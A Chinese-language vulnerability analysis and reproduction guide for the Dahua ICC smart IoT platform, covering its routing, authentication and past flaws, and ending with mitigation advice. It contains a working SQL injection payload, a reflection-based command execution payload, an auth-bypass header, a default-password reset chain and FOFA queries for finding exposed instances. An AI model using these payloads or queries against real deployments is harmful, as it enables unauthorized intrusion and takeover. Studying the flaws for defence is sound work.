大华ICC智能物联综合管理平台历史漏洞分析(一)——从两层接口转发到漏洞利用
字数 3339
更新时间 2026-04-15 12:45:29

大华ICC智能物联综合管理平台安全分析与漏洞复现教学文档

1. 平台整体架构与组件分析

1.1 项目目录结构

大华ICC智能物联综合管理平台采用微服务架构,主要包含以下核心目录:

  • 3rdtool/:存放第三方软件,如nginx、rabbitmq
  • evo/:核心源码目录,包含各个功能模块
  • evoWpms/:静态资源存放目录,由evo/evo-web部署,可通过https://xxx/static/xxx直接访问

1.2 微服务架构详解

1.2.1 evo-common业务目录

evo-apigw: 网关服务,负责请求分发
evo-discover: 注册中心,负责服务发现
evo-oauth: 基于OAuth2的认证服务
evo-runs: 后台配置中心服务,有独立鉴权体系
evo-arms: 使用Go编写的服务,不走OAuth鉴权
evo-brm: 核心业务微服务
evo-arsm: 二进制文件服务

1.2.2 evo-subsystem子系统

包含视频监控相关服务,除admin模块外均为二进制文件:

  • Evo-video/admin: Web管理服务
  • 其他:二进制程序服务

1.2.3 前端部署结构

evo-web为前端模块安装包,实际部署在evoWpms目录,两者存在一一对应关系。

2. 网络架构与路由转发机制

2.1 Nginx网关配置

2.1.1 核心配置文件

  • nginx.conf: 主配置文件
  • upstream.conf: 上游服务器定义
  • web_local_runs.conf: 8005端口监听配置
  • web_local_https_entry.conf: 443端口监听配置

2.1.2 重要upstream定义

# 运维管理服务
upstream runs_backend {
    server 127.0.0.1:8006;
    check interval=5000 rise=2 fall=5 timeout=1000 type=tcp default_down=false;
    ip_hash;
}

# Web服务网关
upstream hauc_backend { 
    server 192.168.131.46:8945 weight=1 max_fails=2;
}

2.1.3 关键location路由规则

# 运维接口访问路由
location ^~/evo-runs/ {
    proxy_pass http://runs_backend;
    # ... 其他header设置
}

# 管理端接口对外访问路由
location ^~ /evo-apigw/ {
    if ($deny_request) { return 404; }
    # ... 转发逻辑
}

2.2 两层转发机制

请求流转路径:

外部请求 -> Nginx网关 -> evo-apigw微服务网关 -> 具体业务微服务

3. 微服务网关与服务发现

3.1 evo-apigw网关服务

3.1.1 核心配置

  • application.properties: 定义微服务注册信息
  • component.properties: 配置注册中心和服务发现

3.1.2 路由转发原理

基于Zuul网关实现,关键类com.dahua.evo.apigw.config.CustomRouteLocator

  • 根据服务名生成 /服务名/** 路由规则
  • 服务信息来自evo-discover的订阅
  • 转发逻辑在getMatchingRoute方法中实现

3.2 evo-discover注册中心

3.2.1 核心功能接口

  • /register: 微服务注册
  • /heartbeat: 服务保活
  • /subscribe: 订阅微服务列表
  • 推送服务列表变化给订阅者

3.2.2 服务发现方式

# 获取所有注册的微服务
curl http://127.0.0.1:8916/evo-discover/1.0.0/srd/subsystem

3.3 微服务注册流程

  1. 微服务启动时读取配置文件
  2. 调用discover客户端自动注册
  3. 定期发送心跳保持连接
  4. 订阅其他服务信息

4. 认证与鉴权机制

4.1 evo-apigw系列微服务认证

4.1.1 OAuth2认证流程

  • 使用password模式
  • 需client_id、client_secret、access_token
  • 鉴权点:org.springframework.security.oauth2.provider.authentication.OAuth2AuthenticationProcessingFilter
  • Token提取器:BearerTokenExtractor

4.1.2 免认证接口配置

在各自微服务的oauth.properties中配置:

oauth.permit=/**/user/login,/**/discover/subscribe/callBack,/**/version,...

4.2 evo-runs系列鉴权

4.2.1 白名单配置

application.properties中定义:

spring.interceptor.url=/v1.0/auths/sysusers/login,/v1.0/receive,/v1.0/push,...

4.2.2 过滤器机制

  • AuthFilter: 仅对特定接口生效
  • SessionFilter: 对所有接口生效,但放行白名单

4.2.3 AuthFilter绕过条件

需满足以下任一条件:

  1. 包含X-Subject-HeaderFlag: ADAPT请求头
  2. 不包含X-Subject-Sign请求头

5. 历史漏洞分析与复现

5.1 SQL注入漏洞(CVE-2023-XXXXX)

5.1.1 漏洞接口

GET /evo-apigw/evo-arsm/1.0.0/ars/list?serviceName=[注入点]

5.1.2 漏洞特征

  • 微服务:evo-arsm(Go二进制文件)
  • 无OAuth认证
  • 直接SQL查询拼接

5.1.3 复现POC

serviceName=' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7e,VERSION(),0x7e),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -

5.2 远程代码执行漏洞(CVE-2023-XXXXX)

5.2.1 漏洞接口

POST /evo-runs/v1.0/push
POST /evo-runs/v1.0/receive

5.2.2 漏洞分析

  • 控制器:MsgDealController
  • 处理类:OssmConfigHandler.msgDeal()
  • 利用点:
    1. 任意文件写入:writeMappingFile()
    2. 命令执行:execute()

5.2.3 复现Payload

{
    "msgType": "config",
    "serviceType": "OSSM",
    "params": {
        "configData": "恶意配置数据"
    }
}

5.3 反射调用RCE漏洞

5.3.1 漏洞接口

POST /evo-apigw/admin/API/Developer/GetClassValue.jsp

5.3.2 漏洞分析

  • 控制器:DeveloperController.getCache()
  • 利用反射调用任意public方法
  • 可利用方法:RuntimeUtil.syncexecReturnExitValue()

5.3.3 复现Payload

{
    "data": {
        "clazzName": "com.dahua.admin.util.RuntimeUtil",
        "methodName": "syncexecReturnInputStream",
        "fieldName": ["id"]
    }
}

5.4 系统用户密码重置漏洞

5.4.1 漏洞接口

POST /evo-apigw/evo-runs-adapt/1.0.0/receive

5.4.2 漏洞分析

  • 处理类:RestManagePwdHandler.msgDeal()
  • 调用evo-brm服务重置密码
  • 默认重置为:system/123456

5.4.3 攻击链

  1. 调用重置接口获取管理员凭证
  2. 登录后台申请client凭证
  3. 向OAuth服务获取access_token
  4. 利用token访问敏感接口

6. 特殊路径与绕过技巧

6.1 JSP文件访问路径

/evo-apigw/nacos-sync/xxx.jsp
/evo-apigw/evo-discover/xxx.jsp

6.1.1 路径解析

请求 -> Nginx移除/evo-apigw/ -> evo-apigw路由到8916端口 -> Tomcat按context path处理

6.1.2 可利用目录

/opt/evo/evo-common/Evo-discover/tomcat/srd/evo-discover
/opt/evo/evo-common/Evo-discover/tomcat/srd/nacos-sync

6.2 接口命名规范

  • evo-apigw系列:/evo-apigw/服务名/版本号/接口路径
  • evo-runs系列:/evo-runs/版本号/接口路径

6.3 版本号规则

从配置文件application.properties获取:

system.name=服务名
system.version=1.0.0

支持向下兼容,低版本可访问高版本接口。

7. 漏洞挖掘方法论

7.1 攻击面梳理

7.1.1 evo-runs服务

  • 分析白名单接口
  • 寻找可利用的handler
  • 检查/receive系列接口

7.1.2 evo-apigw系列

  • 分析oauth.permit放行接口
  • 寻找未授权访问点
  • 检查二进制服务逆向

7.1.3 其他入口

  • Nginx配置的其他端口
  • 二进制服务安全分析
  • 第三方组件漏洞

7.2 自动化信息收集

使用工具提取所有controller mapping:

new java.lang.StringBuilder()
    .append(this.getWebApplicationContext()
    .getBeansOfType(RequestMappingHandlerMapping.class)
    .values().iterator().next()
    .getHandlerMethods()).toString()

7.3 调试技巧

7.3.1 远程调试配置

# 启动调试服务
start-debug.sh
# 确保停止原有服务
stop.sh

7.3.2 调试注意事项

  1. 确认调试进程与实际服务进程一致
  2. 检查端口占用情况
  3. 避免多实例干扰断点

8. 指纹识别与资产发现

8.1 特征识别

  • Title特征: "智能物联综合管理平台"、"智慧物联运营管理中心"
  • Body特征: 包含特定版权信息
  • Icon Hash: -1935899595
  • 客户端端口: 通常小于800

8.2 搜索语法

fofa: icon_hash="-1935899595"
fofa: title="智能物联综合管理平台"
fofa: app="dahua-智能物联综合管理平台"

9. 防御与修复建议

9.1 临时缓解措施

  1. 限制/evo-apigw/nacos-sync//evo-apigw/evo-discover/路径访问
  2. 加强/evo-runs/receive/push接口的输入验证
  3. 更新oauth.permit配置,移除不必要的放行接口

9.2 长期安全加固

  1. 实现统一的输入验证和输出编码
  2. 加强OAuth2 token验证机制
  3. 对二进制服务进行安全审计
  4. 实施最小权限原则配置
  5. 建立定期的安全更新机制

9.3 监控与检测

  1. 监控异常接口访问模式
  2. 检测SQL注入和命令执行尝试
  3. 审计密码重置和权限提升操作
  4. 建立安全事件响应流程

10. 工具与资源

10.1 测试工具

  • I-Wanna-Get-All: 自动化漏洞检测
  • Burp Suite: 手动测试与代理
  • JADX: Java反编译分析
  • Ghidra/IDA: 二进制分析

10.2 参考资源

  • 官方文档: https://open-icc.dahuatech.com
  • 漏洞分析: https://www.cnblogs.com/Domren/articles/19473055
  • 视频教程: OAuth2协议详解

注意: 本教学文档仅用于合法的安全研究和授权测试。任何未经授权的测试和使用均属违法行为,使用者需自行承担相关法律责任。

相似文章
相似文章
 全屏